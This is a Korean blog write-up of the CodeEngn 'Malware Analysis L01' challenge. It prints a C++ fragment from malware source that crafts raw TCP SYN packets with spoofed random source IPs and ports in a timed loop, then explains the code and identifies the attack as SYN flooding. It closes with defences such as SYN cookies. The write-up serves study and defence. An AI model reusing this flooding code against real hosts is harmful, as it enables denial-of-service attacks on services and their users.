Malware Analysis L01

2022. 1. 4. 20:14문제연습/CodeEngn (REC)

반응형

 

 

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

Malware Analysis L01

본 네이버 블로그는 모바일에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 주세...

blog.naver.com

 

 

1. 문제 내용

다음 파일은 악성코드 소스의 일부분이다.

이것의 공격 방법은 무엇인가

 

ex) ddos (정답은 모두 소문자, 띄어쓰기 없음)

Author: CodeEngn

File Password: codeengn

 

 

2. 문제 해설

 

주어진 파일은. cpp 파일로서 열어보면 다음과 같은 소스코드가 존재합니다.

addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); 
addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; 
ipHeader.frag_and_flags=0; 
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; 
ipHeader.checksum=0; 
ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); 
tcpHeader.th_urp=0; 
tcpHeader.th_ack=0;

lTimerCount=GetTickCount();

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; 
tcpHeader.th_dport=htons(TargetPort);

psdHeader.daddr=ipHeader.destIP; 
psdHeader.mbz=0; 
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);

tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;

if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);

Sleep(delay); 
}

xClose(sock);
 

코드가 조금 양이 있으므로 나누어서 분석해 보도록 하겠습니다.

 

addr_in.sin_family=AF_INET; 
addr_in.sin_port=htons(TargetPort); 
addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; 
ipHeader.frag_and_flags=0; 
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; 
ipHeader.checksum=0; 
ipHeader.destIP=TargetIP;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); 
tcpHeader.th_urp=0; 
tcpHeader.th_ack=0;

lTimerCount=GetTickCount();

 

while 반복문 전에 존재하는 코드들을 확인하면, 뭔가 구조체들을 초기화해주고 있는 작업으로 보입니다.

각각의 초기화 부분을 따로 나누어서 확인해 보면 다음과 같습니다

 

 

- addr_in

addr_in.sin_family=AF_INET;            IPv4 프로토콜을 사용
addr_in.sin_port=htons(TargetPort);    통신 목적지의 포트 번호를 설정
addr_in.sin_addr.s_addr=TargetIP;      통신 목적지의 IP 주소 지정
 

 

- ipHeader

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; 
ipHeader.frag_and_flags=0; 
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; 
ipHeader.checksum=0; 
ipHeader.destIP=TargetIP;
 

통신을 위한 ip 헤더 정보를 초기화하는 부분이니 넘어가도록 하겠습니다.

 

- tcpHeader

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2; -> TCP 플래그를 2로 설정 : SYN 연결 신호를 보내기 위해 설정값을 2로 저장
tcpHeader.th_win=htons(16384); 
tcpHeader.th_urp=0; 
tcpHeader.th_ack=0;
 

 

- 반복문

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; 
tcpHeader.th_dport=htons(TargetPort);

psdHeader.daddr=ipHeader.destIP; 
psdHeader.mbz=0; 
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);

tcpHeader.th_sport=htons((rand()%1001)+1000); <- 출발지 포트를 랜덤하게 생성함.
tcpHeader.th_seq=htons((rand()<<16)|rand());  <- TCP 헤더의 Seq 넘버를 랜덤하게 생성함.

psdHeader.saddr=ipHeader.sourceIP;

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;

if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);

Sleep(delay); 
}
 

아까 설정했던 TCP, IP 헤더 정보를 기반으로 TCP 프로토콜 헤더에 들어가는 순서 번호와 포트 정보를 랜덤하게 생성한 후 특정 대상에게 연결을 요청하는 것으로 볼 수 있겠습니다.

 

주어진 파일은 전체 소스코드가 주어진 것이 아니기에 정확한 동작은 알 수 없지만,

확실한 것은 TCP syn 플래그로 랜덤 한 순서 번호와 포트 정보로 계속 통신을 요청한다는 점입니다.

 

TCP 프로토콜에서 클라이언트는 Syn, 즉 연결 요청하면 상대방(또는 서버) 이 요청에 대한 응답을 보낼 것이고 이에 대해 클라이언트는 연결을 수락할 것인지 아니면 거부할 것인지에 대한 정보를 보내야 합니다.

 

현재 소스코드에서는 응답에 대한 추가적인 송신 코드가 존재하지 않는 것으로 보아 해당 코드에서 사용되고 있는 공격 기법은 Dos 공격 종류 중 하나인 SYN Flooding Attack인 것으로 보입니다.

 

해당 과정을 간단히 도식화하면 다음과 같습니다.

 

 

Syn Flooding 공격은 잘 알려진 Dos 공격 방식 중 하나이기에 방어 방법도 간단합니다.

 

대표적으로 Syn Cookies를 설정하여 연결이 확립되기 전까지는 Backlog Queue에

기록되지 않도록 하는 방법과 방화벽에서 동일 IP에 대한 SYN 전송 임계치를 설정하고 

TCP 연결 대기시간을 줄임으로서 해당 공격을 방어할 수 있습니다.

 

 

오늘은 여기서 글을 마무리하고 다음 시간에도 이어서 문제풀이를 진행하도록 하겠습니다!

이상! ICMP였습니다!

 

반응형

'문제연습 > CodeEngn (REC)' 카테고리의 다른 글

Malware Analysis L02  (0) 2022.01.17
Basic RCE L014 - 코드 엔진(진행중)  (0) 2021.01.11
Basic RCE L012 - 코드 엔진  (0) 2020.12.05
Basic RCE L010 - 코드 엔진  (0) 2020.11.30
Basic RCE L09 - 코드 엔진  (0) 2020.11.23